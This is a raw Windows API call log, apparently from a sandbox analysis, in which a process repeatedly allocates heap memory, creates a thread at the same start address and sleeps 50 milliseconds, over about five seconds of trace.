[0083.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1244 [0083.030] Sleep (dwMilliseconds=0x32) [0083.123] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.123] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.123] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1264 [0083.124] Sleep (dwMilliseconds=0x32) [0083.216] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.216] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.216] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284 [0083.217] Sleep (dwMilliseconds=0x32) [0083.310] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.310] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.310] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4 [0083.311] Sleep (dwMilliseconds=0x32) [0083.403] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.403] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.404] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4 [0083.404] Sleep (dwMilliseconds=0x32) [0083.497] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.497] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.498] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4 [0083.498] Sleep (dwMilliseconds=0x32) [0083.591] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.591] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.591] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304 [0083.592] Sleep (dwMilliseconds=0x32) [0083.684] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.684] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.685] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324 [0083.685] Sleep (dwMilliseconds=0x32) [0083.794] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.794] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344 [0083.795] Sleep (dwMilliseconds=0x32) [0083.887] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.887] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.887] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1364 [0083.888] Sleep (dwMilliseconds=0x32) [0083.981] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.981] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.981] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0083.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1384 [0083.981] Sleep (dwMilliseconds=0x32) [0084.090] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.090] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.090] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4 [0084.091] Sleep (dwMilliseconds=0x32) [0084.184] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.184] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.184] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c4 [0084.185] Sleep (dwMilliseconds=0x32) [0084.277] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.277] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.277] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4 [0084.278] Sleep (dwMilliseconds=0x32) [0084.371] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.371] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.371] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1408 [0084.371] Sleep (dwMilliseconds=0x32) [0084.464] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.464] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.464] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1428 [0084.465] Sleep (dwMilliseconds=0x32) [0084.559] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.559] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.559] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448 [0084.560] Sleep (dwMilliseconds=0x32) [0084.652] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.652] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.652] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1468 [0084.653] Sleep (dwMilliseconds=0x32) [0084.746] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.746] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.747] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488 [0084.747] Sleep (dwMilliseconds=0x32) [0084.839] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.839] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.839] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a8 [0084.840] Sleep (dwMilliseconds=0x32) [0084.923] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0084.923] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0084.923] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0084.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8 [0084.924] Sleep (dwMilliseconds=0x32) [0085.011] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.011] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.011] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0085.012] Sleep (dwMilliseconds=0x32) [0085.155] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.155] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.155] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1508 [0085.156] Sleep (dwMilliseconds=0x32) [0085.247] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.247] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.247] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528 [0085.248] Sleep (dwMilliseconds=0x32) [0085.339] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.339] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.339] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1548 [0085.340] Sleep (dwMilliseconds=0x32) [0085.420] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.420] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.420] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1568 [0085.420] Sleep (dwMilliseconds=0x32) [0085.509] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.509] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.510] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1588 [0085.510] Sleep (dwMilliseconds=0x32) [0085.603] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.603] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.603] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a8 [0085.604] Sleep (dwMilliseconds=0x32) [0085.697] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.697] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.697] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c8 [0085.698] Sleep (dwMilliseconds=0x32) [0085.790] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.790] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.790] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e8 [0085.791] Sleep (dwMilliseconds=0x32) [0085.899] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.899] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.899] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1608 [0085.900] Sleep (dwMilliseconds=0x32) [0085.993] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0085.993] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0085.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0085.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1628 [0085.995] Sleep (dwMilliseconds=0x32) [0086.102] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.102] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.102] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648 [0086.103] Sleep (dwMilliseconds=0x32) [0086.196] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.196] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.196] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1668 [0086.197] Sleep (dwMilliseconds=0x32) [0086.289] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.289] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.289] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688 [0086.290] Sleep (dwMilliseconds=0x32) [0086.383] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.383] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8 [0086.384] Sleep (dwMilliseconds=0x32) [0086.477] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.477] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0086.477] Sleep (dwMilliseconds=0x32) [0086.570] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.570] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.570] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e8 [0086.571] Sleep (dwMilliseconds=0x32) [0086.664] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.664] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.664] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708 [0086.665] Sleep (dwMilliseconds=0x32) [0086.761] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.761] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.761] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728 [0086.762] Sleep (dwMilliseconds=0x32) [0086.862] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.862] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1748 [0086.863] Sleep (dwMilliseconds=0x32) [0086.966] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0086.966] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0086.967] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0086.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768 [0086.967] Sleep (dwMilliseconds=0x32) [0087.288] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.288] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.288] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784 [0087.288] Sleep (dwMilliseconds=0x32) [0087.382] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.382] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4 [0087.384] Sleep (dwMilliseconds=0x32) [0087.477] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.477] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ac [0087.478] Sleep (dwMilliseconds=0x32) [0087.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.569] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b4 [0087.570] Sleep (dwMilliseconds=0x32) [0087.663] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.663] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.663] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc [0087.664] Sleep (dwMilliseconds=0x32) [0087.757] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.757] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.757] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c4 [0087.757] Sleep (dwMilliseconds=0x32) [0087.861] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.861] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17cc [0087.862] Sleep (dwMilliseconds=0x32) [0087.959] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0087.959] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0087.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0087.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d4 [0087.960] Sleep 